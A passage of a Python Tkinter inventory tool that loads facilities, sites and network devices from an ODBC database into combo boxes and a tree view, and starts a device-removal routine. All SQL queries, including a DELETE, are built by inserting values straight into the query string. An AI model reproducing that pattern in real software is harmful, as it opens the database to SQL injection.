Region_ID = '%s'\r\n                        ORDER BY Facility_Name ASC\r\n                      \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],\r\n                             self.RegionIDArray[self.ComboBoxRegionID.current()])\r\n            #print (sql)\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                self.sql_querry = True\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.FacilityIDArray = []\r\n                self.FacilityNameArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.FacilityIDArray.append(self.db.results[i][3].strip())\r\n                    self.FacilityNameArray.append(self.db.results[i][4].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.ComboBoxFacilityID['values'] = self.FacilityNameArray\r\n                if (len(self.FacilityNameArray)== 0):\r\n                    self.ComboBoxFacilityID['state'] = DISABLED\r\n                    self.ComboBoxSiteID['state'] = DISABLED\r\n                else:\r\n                    self.ComboBoxFacilityID['state'] = 'readonly'\r\n                    self.ComboBoxFacilityID.set(\"\")\r\n                    if (Is_Facility_Available):\r\n                        self.ButtonFacilityAdd['state'] = 'active'\r\n                        self.ButtonFacilityRefresh['state'] = 'active'                        \r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found')\r\n                self.sql_querry = False\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n    \r\n#*************************************************************************************\r\n#---------------------------- FACILITY SELECTION SECTION <END> ------------------------*\r\n#*************************************************************************************\r\n\r\n\r\n#***************************************************************************************\r\n#---------------------------- SITES SELECTION SECTION <BEGIN> ------------------------*\r\n#***************************************************************************************\r\n        \r\n    def Display_Sites_Window(self):    \r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Sites Window']    \r\n            Logging.Log(Parameter)\r\n\r\n        Sites.Display_Sites_Window()\r\n\r\n    def on_sites_combo_changed(self,event):\r\n        self.Clean_Screen('sites','sites-combo')\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            sql = \"\"\"\r\n                    SELECT * FROM Devices\r\n                    WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s' AND Site_ID = '%s'\r\n                    ORDER BY Status desc, Device_Type_ID ASC, Device_Model_ID ASC, Device_ID ASC\r\n                  \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()],\r\n                             self.FacilityIDArray[self.ComboBoxFacilityID.current()],self.SitesIDArray[self.ComboBoxSitesID.current()])\r\n            #print (sql)\r\n            if (Is_Sites_Available):\r\n                self.ButtonSitesAdd['state'] = ACTIVE\r\n                self.ButtonSitesRefresh['state'] = ACTIVE\r\n            if ((self.db.Execute(sql)) and (self.Selection != 'edit')):\r\n                #------------------------------- Deleting Tree View <BEGIN> --------\r\n                #x = self.DeviceTreeview.get_children()\r\n                #if x != '()': # checks if there is something in the first row\r\n                #    for child in x:\r\n                #       #print (child)\r\n                #        self.DeviceTreeview.delete(child)\r\n                #------------------------------- Deleting Tree View <END> --------\r\n                #-------------- Initializing Arrays <BEGIN> ----------------------\r\n                self.DeviceTablePriaryKeyArray =  [] # Device ID\r\n                self.DeviceTableDeviceDescriptionArray =  []                \r\n                self.DeviceTableCountryIDArray =  [] \r\n                self.DeviceTableRegionIDArray =  []\r\n                self.DeviceTableFacilityIDArray =  []\r\n                self.DeviceTableSiteIDArray =  []\r\n                self.DeviceTableDeviceTypeIDArray =  []\r\n                self.DeviceTableIP4AddressArray = []\r\n                self.DeviceTableIP6AddressArray = []\r\n                self.DeviceTableContractNoArray = []\r\n                self.DeviceTableOutsourceCostArray = []\r\n                self.DeviceTableMaintenanceCostArray = []\r\n                self.DeviceTableStatusArray = []\r\n                self.DeviceTableMonthlyCostArray = []\r\n                self.DeviceTableDateInstalledArray = []\r\n                self.DeviceTableDayInstalledArray = []\r\n                self.DeviceTableMonthInstalledArray = []\r\n                self.DeviceTableYearInstalledArray = []\r\n                self.DeviceTableDateActivatedArray = []\r\n                self.DeviceTableDayActivatedArray = []\r\n                self.DeviceTableMonthActivatedArray = []\r\n                self.DeviceTableYearActivatedArray = []\r\n                self.DeviceTableDisconectedDateArray = []\r\n                self.DeviceTableDayDisconectedArray = []\r\n                self.DeviceTableMonthDisconectedArray = []\r\n                self.DeviceTableYearDisconectedArray = []\r\n                self.DeviceTableExpirationDateArray = []\r\n                self.DeviceTableDayExpirationArray = []\r\n                self.DeviceTableMonthExpirationArray = []\r\n                self.DeviceTableYearExpirationArray = []\r\n                self.DeviceTableSerilaNoArray = []\r\n                self.DeviceTableExecutedByArray = []\r\n                self.DeviceTableNotesArray = []\r\n                self.DeviceTableDeviceModelIDArray = []\r\n                self.DeviceTableMACAddressArray = []\r\n                self.DeviceTableNATIP4AddressArray = []    \r\n                self.DeviceTableManagementIP4AddressArray = []\r\n                self.DeviceTableLastSuccessICMPArray = []\r\n                self.DeviceTableLastICMPStatusArray = []\r\n                self.DeviceTableICMPCapableArray = []\r\n                self.DeviceTableMonitorviaICMPArray = []\r\n                self.DeviceTableLastUpdatedCMDBDateArray = []\r\n                self.DeviceTableLastUpdatedCMDBDayArray = []\r\n                self.DeviceTableLastUpdatedCMDBMonthArray = []\r\n                self.DeviceTableLastUpdatedCMDBYearArray = []\r\n                self.DeviceTableArrayColumns = []\r\n                self.results = []\r\n                self.DeviceTableArratRowsTemp = []\r\n\r\n\r\n                self.DeviceTableArrayColumns = (\r\n                    'Device ID',\r\n                    'Device Description',\r\n                    'Country ID',                    \r\n                    'Region ID',\r\n                    'Facility ID',\r\n                    'Site ID',\r\n                    'Device Type ID',\r\n                    'IP4 Address',\r\n                    'IP6 Address',\r\n                    'Contract No',\r\n                    'OutSource Cost',\r\n                    'Maintenance Cost',\r\n                    'Status',\r\n                    'Monthly Cost',\r\n                    'Date Installed',\r\n                    'Day Installed',\r\n                    'Month Installed',\r\n                    'Year Installed',\r\n                    'Date Activated',\r\n                    'Day Activated',\r\n                    'Month Activated',\r\n                    'Year Activated',\r\n                    'Disconnect Date',\r\n                    'Day Disconnect',\r\n                    'Month Disconnect',\r\n                    'Year Disconnect',\r\n                    'Expiration Date',\r\n                    'Day Expiration',\r\n                    'Month Expiration',\r\n                    'Year Expiration',\r\n                    'Serial No',\r\n                    'Executed by UserID',\r\n                    'Notes',\r\n                    'Device Model ID',\r\n                    'MAC Address',\r\n                    'NAT IP4 Address',    \r\n                    'Management IP4 Address',\r\n                    'Last Success ICMP',\r\n                    'Last ICMP Status',\r\n                    'ICMP Capable',\r\n                    'Monitor via ICMP',\r\n                    'Last Updated CMDB Date',\r\n                    'Last Updated CMDB Day',\r\n                    'Last Updated CMDB Month',\r\n                    'Last Updated CMDB Year'\r\n                    )\r\n\r\n\r\n                '''\r\n                    0  Device_ID               CHAR(50) NOT NULL PRIMARY KEY,\r\n                    1  Device_Description      CHAR(100) NOT NULL,\r\n                    2  Country_ID              CHAR(20) NOT NULL,                    \r\n                    3  Region_ID               CHAR(20) NOT NULL,\r\n                    4  Facility_ID             CHAR(20) NOT NULL,\r\n                    5  Site_ID                 CHAR(20) NOT NULL,\r\n                    6  Device_Type_ID          CHAR(30) NOT NULL,\r\n                    7  IP4_Address             CHAR(20),\r\n                    8  IP6_Address             CHAR(200),\r\n                    9  Contract_No             CHAR(20),\r\n                    10 OutSource_Cost          FLOAT,\r\n                    11 Maintenance_Cost        FLOAT,\r\n                    12 Status                  CHAR(20),\r\n                    13 Monthly_Cost            FLOAT,\r\n                    14 Date_Installed          CHAR(20),\r\n                    15 Day_Installed           INT,\r\n                    16 Month_Installed         INT,\r\n                    17 Year_Installed          INT,\r\n                    18 Date_Activated          CHAR(20),\r\n                    19 Day_Activated           INT,\r\n                    20 Month_Activated         INT,\r\n                    21 Year_Activated          INT,\r\n                    22 Disconnect_Date         CHAR(20),\r\n                    23 Day_Disconnect          INT,\r\n                    24 Month_Disconnect        INT,\r\n                    25 Year_Disconnect         INT,\r\n                    26 Expiration_Date         CHAR(20),\r\n                    27 Day_Expiration          INT,\r\n                    28 Month_Expiration        INT,\r\n                    29 Year_Expiration         INT,\r\n                    30 Serial_No               CHAR(100),\r\n                    31 Executed_by_UserID      CHAR(20),\r\n                    32 Notes                   CHAR(200),\r\n                    33 Device_Model_ID         CHAR(30),\r\n                    34 MAC_Address             CHAR(20)\r\n                    35 NAT_IP4_Address         CHAR(20), <----- NEW as March 5th 2018    \r\n                    36 Management_IP4_Address  CHAR(20),\r\n                    37 Last_Success_ICMP       CHAR(50),\r\n                    38 Last_ICMP_Status        CHAR(50),\r\n                    39 ICMP_Capable            CHAR(10),\r\n                    40 Monitor_via_ICMP        CHAR(10),\r\n                    41 Last_Updated_CMDB_Date  CHAR(50),\r\n                    42 Last_Updated_CMDB_Day   INT,\r\n                    43 Last_Updated_CMDB_Month INT,\r\n                    44 Last_Updated_CMDB_Year  INT)\"\"\"\r\n                '''\r\n                #-------------- Initializing Arrays <END> ----------------------                        \r\n                i = 0\r\n                self.data_ready = True\r\n                while (i < len(self.db.results)):\r\n                    self.DeviceTablePriaryKeyArray.append(self.db.results[i][0].strip())\r\n                    self.DeviceTableDeviceDescriptionArray.append(self.db.results[i][1].strip())\r\n                    self.DeviceTableCountryIDArray.append(self.db.results[i][2].strip())\r\n                    self.DeviceTableRegionIDArray.append(self.db.results[i][3].strip())\r\n                    self.DeviceTableFacilityIDArray.append(self.db.results[i][4].strip())\r\n                    self.DeviceTableSiteIDArray.append(self.db.results[i][5].strip())\r\n                    self.DeviceTableDeviceTypeIDArray.append(self.db.results[i][6].strip())\r\n                    if ((self.db.results[i][7]) == None):\r\n                        self.DeviceTableIP4AddressArray.append(\"0.0.0.0\")\r\n                        #self.DeviceTableIP4AddressArray.append(self.db.results[i][7])\r\n                    else:\r\n                        self.DeviceTableIP4AddressArray.append(self.db.results[i][7].strip())\r\n                    if ((self.db.results[i][8]) == None):\r\n                        self.DeviceTableIP6AddressArray.append(self.db.results[i][8])\r\n                    else:\r\n                        self.DeviceTableIP6AddressArray.append(self.db.results[i][8].strip())\r\n                    if ((self.db.results[i][9]) == None):\r\n                        self.DeviceTableContractNoArray.append(self.db.results[i][9])\r\n                    else:  \r\n                        self.DeviceTableContractNoArray.append(self.db.results[i][9].strip())\r\n                        \r\n                    if (self.db.results[i][10] == None):\r\n                        self.DeviceTableOutsourceCostArray.append(0.0)\r\n                    else:\r\n                        self.DeviceTableOutsourceCostArray.append(self.db.results[i][10])\r\n                        \r\n                    if (self.db.results[i][11] == None):\r\n                        self.DeviceTableMaintenanceCostArray.append(0.0)\r\n                    else:\r\n                        self.DeviceTableMaintenanceCostArray.append(self.db.results[i][11])\r\n                    self.DeviceTableStatusArray.append(self.db.results[i][12].strip())\r\n                    if (self.db.results[i][13] == None):\r\n                        self.DeviceTableMonthlyCostArray.append(0.0)\r\n                    else:\r\n                        self.DeviceTableMonthlyCostArray.append(self.db.results[i][13])\r\n                    if (((self.db.results[i][14]) == None) or (self.db.results[i][15] == 0)):\r\n                        self.DeviceTableDateInstalledArray.append(\"\")\r\n                        self.DeviceTableDayInstalledArray.append(0)\r\n                        self.DeviceTableMonthInstalledArray.append(0)\r\n                        self.DeviceTableYearInstalledArray.append(0)\r\n                    else:\r\n                        self.DeviceTableDateInstalledArray.append(self.db.results[i][14].strip())\r\n                        self.DeviceTableDayInstalledArray.append(self.db.results[i][15])\r\n                        self.DeviceTableMonthInstalledArray.append(self.db.results[i][16])\r\n                        self.DeviceTableYearInstalledArray.append(self.db.results[i][17])\r\n                    if (((self.db.results[i][18]) == None) or (self.db.results[i][19] == 0)):\r\n                        self.DeviceTableDateActivatedArray.append(\"\")\r\n                        self.DeviceTableDayActivatedArray.append(0)\r\n                        self.DeviceTableMonthActivatedArray.append(0)\r\n                        self.DeviceTableYearActivatedArray.append(0)\r\n                    else:\r\n                        self.DeviceTableDateActivatedArray.append(self.db.results[i][18].strip())\r\n                        self.DeviceTableDayActivatedArray.append(self.db.results[i][19])\r\n                        self.DeviceTableMonthActivatedArray.append(self.db.results[i][20])\r\n                        self.DeviceTableYearActivatedArray.append(self.db.results[i][21])\r\n                    if (((self.db.results[i][22]) == None) or (self.db.results[i][23] == 0)):\r\n                        self.DeviceTableDisconectedDateArray.append(\"\")\r\n                        self.DeviceTableDayDisconectedArray.append(0)\r\n                        self.DeviceTableMonthDisconectedArray.append(0)\r\n                        self.DeviceTableYearDisconectedArray.append(0)\r\n                    else:\r\n                        self.DeviceTableDisconectedDateArray.append(self.db.results[i][22].strip())\r\n                        self.DeviceTableDayDisconectedArray.append(self.db.results[i][23])\r\n                        self.DeviceTableMonthDisconectedArray.append(self.db.results[i][24])\r\n                        self.DeviceTableYearDisconectedArray.append(self.db.results[i][25])\r\n                    if (((self.db.results[i][26]) == None) or (self.db.results[i][27] == 0)):\r\n                        self.DeviceTableExpirationDateArray.append(\"\")\r\n                        self.DeviceTableDayExpirationArray.append(0)\r\n                        self.DeviceTableMonthExpirationArray.append(0)\r\n                        self.DeviceTableYearExpirationArray.append(0)\r\n                    else:\r\n                        self.DeviceTableExpirationDateArray.append(self.db.results[i][26].strip())\r\n                        self.DeviceTableDayExpirationArray.append(self.db.results[i][27])\r\n                        self.DeviceTableMonthExpirationArray.append(self.db.results[i][28])\r\n                        self.DeviceTableYearExpirationArray.append(self.db.results[i][29])\r\n                    if ((self.db.results[i][30]) == None):\r\n                        self.DeviceTableSerilaNoArray.append(self.db.results[i][30])\r\n                    else:\r\n                        self.DeviceTableSerilaNoArray.append(self.db.results[i][30].strip())\r\n                    self.DeviceTableExecutedByArray.append(self.db.results[i][31].strip())\r\n                    if ((self.db.results[i][32]) == None):\r\n                        self.DeviceTableNotesArray.append(\" \")\r\n                        #self.DeviceTableNotesArray.append(self.db.results[i][32])\r\n                    else:\r\n                        self.DeviceTableNotesArray.append(self.db.results[i][32].strip())\r\n                    if ((self.db.results[i][33]) == None):\r\n                        self.DeviceTableDeviceModelIDArray.append(self.db.results[i][33])\r\n                    else:\r\n                        self.DeviceTableDeviceModelIDArray.append(self.db.results[i][33].strip())\r\n                    if ((self.db.results[i][34]) == None):\r\n                        self.DeviceTableMACAddressArray.append(self.db.results[i][34])\r\n                    else:\r\n                        self.DeviceTableMACAddressArray.append(self.db.results[i][34].strip())\r\n\r\n                    ###################\r\n                    if ((self.db.results[i][35]) == None):\r\n                        self.DeviceTableNATIP4AddressArray.append(\"0.0.0.0\")\r\n                    else:\r\n                        self.DeviceTableNATIP4AddressArray.append(self.db.results[i][35].strip())\r\n                        \r\n                    if ((self.db.results[i][36]) == None):\r\n                        self.DeviceTableManagementIP4AddressArray.append(\"0.0.0.0\")\r\n                    else:\r\n                        self.DeviceTableManagementIP4AddressArray.append(self.db.results[i][36].strip())\r\n\r\n                    if ((self.db.results[i][37]) == None):\r\n                        self.DeviceTableLastSuccessICMPArray.append(\"Never\")\r\n                    else:\r\n                        self.DeviceTableLastSuccessICMPArray.append(self.db.results[i][37].strip())\r\n\r\n                    if ((self.db.results[i][38]) == None):\r\n                        self.DeviceTableLastICMPStatusArray.append(\"Never\")\r\n                    else:\r\n                        self.DeviceTableLastICMPStatusArray.append(self.db.results[i][38].strip())\r\n\r\n                    if ((self.db.results[i][39]) == None): # this field I toggle between YES / NO on Double Click on ICMP Menu\r\n                        self.DeviceTableICMPCapableArray.append(\"YES\")\r\n                    else:\r\n                        self.DeviceTableICMPCapableArray.append(self.db.results[i][39].strip())\r\n\r\n                    if ((self.db.results[i][40]) == None): \r\n                        self.DeviceTableMonitorviaICMPArray.append(\"NO\")\r\n                    else:\r\n                        self.DeviceTableMonitorviaICMPArray.append(self.db.results[i][40].strip())\r\n\r\n                    if ((self.db.results[i][41]) == None): \r\n                        self.DeviceTableLastUpdatedCMDBDateArray.append(\"Never\")\r\n                    else:\r\n                        self.DeviceTableLastUpdatedCMDBDateArray.append(self.db.results[i][41].strip())\r\n\r\n                    if ((self.db.results[i][42]) == None): \r\n                        self.DeviceTableLastUpdatedCMDBDayArray.append(0)\r\n                    else:\r\n                        self.DeviceTableLastUpdatedCMDBDayArray.append(self.db.results[i][42])\r\n\r\n                    if ((self.db.results[i][43]) == None): \r\n                        self.DeviceTableLastUpdatedCMDBMonthArray.append(0)\r\n                    else:\r\n                        self.DeviceTableLastUpdatedCMDBMonthArray.append(self.db.results[i][43])\r\n\r\n                    if ((self.db.results[i][44]) == None): \r\n                        self.DeviceTableLastUpdatedCMDBYearArray.append(0)\r\n                    else:\r\n                        self.DeviceTableLastUpdatedCMDBYearArray.append(self.db.results[i][44])\r\n                        \r\n                    i = i + 1\r\n                i = 0\r\n                while (i < len(self.DeviceTablePriaryKeyArray)):\r\n                    num = i + 1\r\n                    tags = self.DeviceTableStatusArray[i] # To use in the futire\r\n                    item = [\r\n                            self.DeviceTablePriaryKeyArray[i],\r\n                            self.DeviceTableDeviceDescriptionArray[i],                \r\n                            self.DeviceTableDeviceTypeIDArray[i],\r\n                            self.DeviceTableDeviceModelIDArray[i],\r\n                            self.DeviceTableIP4AddressArray[i],\r\n                            self.DeviceTableOutsourceCostArray[i],\r\n                            self.DeviceTableMaintenanceCostArray[i],                            \r\n                            self.DeviceTableDateInstalledArray[i],\r\n                            self.DeviceTableDateActivatedArray[i],\r\n                            self.DeviceTableDisconectedDateArray[i],\r\n                            self.DeviceTableStatusArray[i],\r\n                            self.DeviceTableContractNoArray[i],\r\n                            self.DeviceTableExpirationDateArray[i],\r\n                            self.DeviceTableSerilaNoArray[i],\r\n                            self.DeviceTableExecutedByArray[i],\r\n                            ]\r\n                    self.DeviceTableArrayRowsTemp = [\r\n                        self.DeviceTablePriaryKeyArray[i],\r\n                        self.DeviceTableDeviceDescriptionArray[i],\r\n                        self.DeviceTableCountryIDArray[i],\r\n                        self.DeviceTableRegionIDArray[i],\r\n                        self.DeviceTableFacilityIDArray[i],\r\n                        self.DeviceTableSiteIDArray[i],\r\n                        self.DeviceTableDeviceTypeIDArray[i],\r\n                        self.DeviceTableIP4AddressArray[i],\r\n                        self.DeviceTableIP6AddressArray[i],\r\n                        self.DeviceTableContractNoArray[i],\r\n                        self.DeviceTableOutsourceCostArray[i],\r\n                        self.DeviceTableMaintenanceCostArray[i],\r\n                        self.DeviceTableStatusArray[i],\r\n                        self.DeviceTableMonthlyCostArray[i],\r\n                        self.DeviceTableDateInstalledArray[i],\r\n                        self.DeviceTableDayInstalledArray[i],\r\n                        self.DeviceTableMonthInstalledArray[i],\r\n                        self.DeviceTableYearInstalledArray[i],\r\n                        self.DeviceTableDateActivatedArray[i],\r\n                        self.DeviceTableDayActivatedArray[i],\r\n                        self.DeviceTableMonthActivatedArray[i],\r\n                        self.DeviceTableYearActivatedArray[i],\r\n                        self.DeviceTableDisconectedDateArray[i],\r\n                        self.DeviceTableDayDisconectedArray[i],\r\n                        self.DeviceTableMonthDisconectedArray[i],\r\n                        self.DeviceTableYearDisconectedArray[i],\r\n                        self.DeviceTableExpirationDateArray[i],\r\n                        self.DeviceTableDayExpirationArray[i],\r\n                        self.DeviceTableMonthExpirationArray[i],\r\n                        self.DeviceTableYearExpirationArray[i],\r\n                        self.DeviceTableSerilaNoArray[i],\r\n                        self.DeviceTableExecutedByArray[i],\r\n                        self.DeviceTableNotesArray[i],\r\n                        self.DeviceTableDeviceModelIDArray[i],\r\n                        self.DeviceTableMACAddressArray[i],\r\n                        self.DeviceTableNATIP4AddressArray[i],\r\n                        self.DeviceTableManagementIP4AddressArray[i],\r\n                        self.DeviceTableLastSuccessICMPArray[i],\r\n                        self.DeviceTableLastICMPStatusArray[i],\r\n                        self.DeviceTableICMPCapableArray[i],\r\n                        self.DeviceTableMonitorviaICMPArray[i],\r\n                        self.DeviceTableMonitorviaICMPArray[i],\r\n                        self.DeviceTableLastUpdatedCMDBDayArray[i],\r\n                        self.DeviceTableLastUpdatedCMDBMonthArray[i],\r\n                        self.DeviceTableLastUpdatedCMDBYearArray[i]\r\n                                            ]\r\n                    self.results.append(self.DeviceTableArrayRowsTemp)\r\n\r\n                    self.DeviceTreeview.insert('', END, text='%3d'%num, values=item, tags=tags)\r\n                    i = i + 1\r\n                self.ButtonDeviceAdd['state']    = ACTIVE\r\n                self.ButtonDeviceEdit['state']   = DISABLED\r\n                self.ButtonDeviceRemove['state'] = DISABLED\r\n                self.ButtonDeviceOK['state']     = DISABLED\r\n                self.ButtonDeviceCancel['state'] = DISABLED\r\n                self.ButtonDeviceCircuits['state'] = DISABLED\r\n                self.ButtonDevicePing64['state'] = DISABLED\r\n                self.ButtonDevicePing1500['state'] = DISABLED\r\n                #self.ButtonDeviceContacts['state'] = DISABLED\r\n                self.ButtonDeviceICMP['state'] = DISABLED\r\n                self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n                \r\n            else:\r\n                if (self.Selection != 'edit'):\r\n                    mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                    message = 'No Records found')\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n\r\n    def on_Sites_Table_Refresh(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Sites Refresh']    \r\n            Logging.Log(Parameter)\r\n\r\n        self.Clean_Screen('sites','all')\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            if (self.Selection == 'cancel_edit'):\r\n                sql = \"\"\"\r\n                        SELECT * FROM Sites\r\n                        WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s' AND Site_ID = '%s'\r\n                      \"\"\" % (self.CountryID_Pre,self.RegionID_Pre,self.FacilityID_Pre,self.SitesID_Pre)\r\n            else:\r\n                sql = \"\"\"\r\n                        SELECT * FROM Sites\r\n                        WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s'\r\n                      \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()],\r\n                             self.FacilityIDArray[self.ComboBoxFacilityID.current()])\r\n            #print (sql)\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                self.sql_querry = True\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.SitesIDArray = []\r\n                self.SitesNameArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.SitesIDArray.append(self.db.results[i][4].strip())\r\n                    self.SitesNameArray.append(self.db.results[i][5].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.ComboBoxSitesID['values'] = self.SitesNameArray\r\n                if (len(self.SitesNameArray)== 0):\r\n                    self.ComboBoxSitesID['state'] = DISABLED\r\n                else:\r\n                    self.ComboBoxSitesID['state'] = 'readonly'\r\n                    self.ComboBoxSitesID.set(\"\")\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found')\r\n                self.ComboBoxSitesID['state'] = DISABLED\r\n                self.sql_querry = False\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n    \r\n#*************************************************************************************\r\n#---------------------------- SITES SELECTION SECTION <END> ------------------------*\r\n#*************************************************************************************\r\n        \r\n    def on_DeviceWindow_quit(self):\r\n        if (self.DeviceWindowExist):\r\n            self.DeviceWindowExist = False\r\n            self.db.Disconnect()\r\n            if Is_logging_Available:\r\n                Parameter = []\r\n                Parameter = ['Device','CLOSE Window']    \r\n                Logging.Log(Parameter)\r\n            self.DeviceWindow.destroy()\r\n\r\n    def on_Device_Table_Refresh(self): # I need to do more research on this call.\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','Device Refresh']    \r\n            Logging.Log(Parameter)\r\n        self.on_country_combo_changed(\"event\")\r\n       \r\n    def Call_Button_Device_Add(self):\r\n        #-- reset the progess bar --\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','ADD Button']    \r\n            Logging.Log(Parameter)\r\n        self.Enable_Screen('add')\r\n        self.Selection = 'add'\r\n\r\n    def Call_Button_Device_Edit(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','EDIT Button']    \r\n            Logging.Log(Parameter)\r\n        self.progress['maximum'] = 100\r\n        self.progress['value'] = 0\r\n        self.Selection = 'edit'\r\n        self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n        self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n        self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n        self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n        self.Enable_Screen('edit')\r\n        # ----- Installed Date ---------------------\r\n        self.DeviceInstalledData = {}\r\n        if (self.Selection == 'edit'):\r\n            self.DeviceInstalledDateName = self.DeviceInstalledDateFrameEntry.get()\r\n            curItem = self.DeviceTreeview.focus()  \r\n            dic = self.DeviceTreeview.item(curItem)\r\n            curItem = int(dic.get('text')) - 1\r\n            if (len(self.DeviceInstalledDateName) > 0):\r\n                if (self.DeviceTableDateInstalledArray[curItem] != 0):\r\n                    self.DeviceInstalledData['day_selected'] = self.DeviceTableDayInstalledArray[curItem]\r\n                    self.DeviceInstalledData['month_selected'] = self.DeviceTableMonthInstalledArray[curItem]\r\n                    self.DeviceInstalledData['year_selected'] = self.DeviceTableYearInstalledArray[curItem]\r\n        # ----- Activated Date ---------------------\r\n        self.DeviceActivatedDateName = self.DeviceActivatedDateFrameEntry.get()\r\n        curItem = self.DeviceTreeview.focus()  \r\n        dic = self.DeviceTreeview.item(curItem)\r\n        curItem = int(dic.get('text')) - 1\r\n        self.DeviceActivatedData = {}\r\n        if (len(self.DeviceActivatedDateName) > 0):\r\n            if (self.DeviceTableDateActivatedArray[curItem] != 0):\r\n                self.DeviceActivatedData['day_selected'] = self.DeviceTableDayActivatedArray[curItem]\r\n                self.DeviceActivatedData['month_selected'] = self.DeviceTableMonthActivatedArray[curItem]\r\n                self.DeviceActivatedData['year_selected'] = self.DeviceTableYearActivatedArray[curItem]\r\n                #print (\"Day, Month, Year\")\r\n                #print (self.DeviceActivatedData['day_selected'])\r\n                #print (self.DeviceActivatedData['month_selected'])\r\n                #print (self.DeviceActivatedData['year_selected'])\r\n        # ----- Disconnected Date ---------------------\r\n        self.DeviceDisconnectedData = {}\r\n        if (self.Selection == 'edit'):\r\n            self.DeviceDisconnectedDateName = self.DeviceDisconnectedDateFrameEntry.get()\r\n            curItem = self.DeviceTreeview.focus()  \r\n            dic = self.DeviceTreeview.item(curItem)\r\n            curItem = int(dic.get('text')) - 1\r\n            if (len(self.DeviceDisconnectedDateName) > 0):\r\n                if (self.DeviceTableDisconectedDateArray[curItem] != 0):\r\n                    self.DeviceDisconnectedData['day_selected'] = self.DeviceTableDayDisconectedArray[curItem]\r\n                    self.DeviceDisconnectedData['month_selected'] = self.DeviceTableMonthDisconectedArray[curItem]\r\n                    self.DeviceDisconnectedData['year_selected'] = self.DeviceTableYearDisconectedArray[curItem]\r\n        # ----- Expiration Date ---------------------\r\n        self.DeviceExpirationData = {}\r\n        if (self.Selection == 'edit'):\r\n            self.DeviceExpirationDateName = self.DeviceExpirationDateFrameEntry.get()\r\n            curItem = self.DeviceTreeview.focus()  \r\n            dic = self.DeviceTreeview.item(curItem)\r\n            curItem = int(dic.get('text')) - 1\r\n            if (len(self.DeviceExpirationDateName) > 0):\r\n                if (self.DeviceTableExpirationDateArray[curItem] != 0):\r\n                    self.DeviceExpirationData['day_selected'] = self.DeviceTableDayExpirationArray[curItem]\r\n                    self.DeviceExpirationData['month_selected'] = self.DeviceTableMonthExpirationArray[curItem]\r\n                    self.DeviceExpirationData['year_selected'] = self.DeviceTableYearExpirationArray[curItem]\r\n\r\n    #-------------- Using a Password Question to make sure it was the intent to be deleted <Begin> ---------------\r\n    def Remove_Device_From_DB(self):\r\n        if Is_logging_Available:\r\n            Parameter = []\r\n            Parameter = ['Device','REMOVE Button']    \r\n            Logging.Log(Parameter)\r\n        if self.db.Connect():\r\n            self.progress['maximum'] = 100\r\n            self.progress['value'] = 0\r\n            self.Selection = 'remove'\r\n            #self.DeviceID = self.DeviceIDFrameEntry.get()\r\n            PrimaryKey = (self.DeviceID)\r\n            if (mbox.askyesnocancel(master=self.DeviceFrame,title='Device',message = 'Are you Sure you want to Remove it?')):\r\n                #PrimaryKey = (self.CountryID+\"-\"+self.RegionID+\"-\"+self.DeviceID)\r\n                #print (PrimaryKey)\r\n                sql = \"\"\"\r\n                        SELECT * FROM Devices\r\n                        WHERE Device_ID = '%s'\r\n                       \"\"\" % (PrimaryKey)                \r\n                if (self.db.Execute(sql)):\r\n                    sql = \"DELETE FROM Devices WHERE Device_ID = '%s'\" % (PrimaryKey)\r\n                    if (self.db.Add_Move_Change_Data(sql)):\r\n                        #self.db.Disconnect()\r\n                        mbox.showwarning(master=self.DeviceFrame,title='Device',\r\n                        message = '*** The Device ID you entered was Removed ***')\r\n                    else:\r\n                        #self.db.Disconnect()\r\n                        mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                        message = '*** The Device ID you entered was NOT Removed 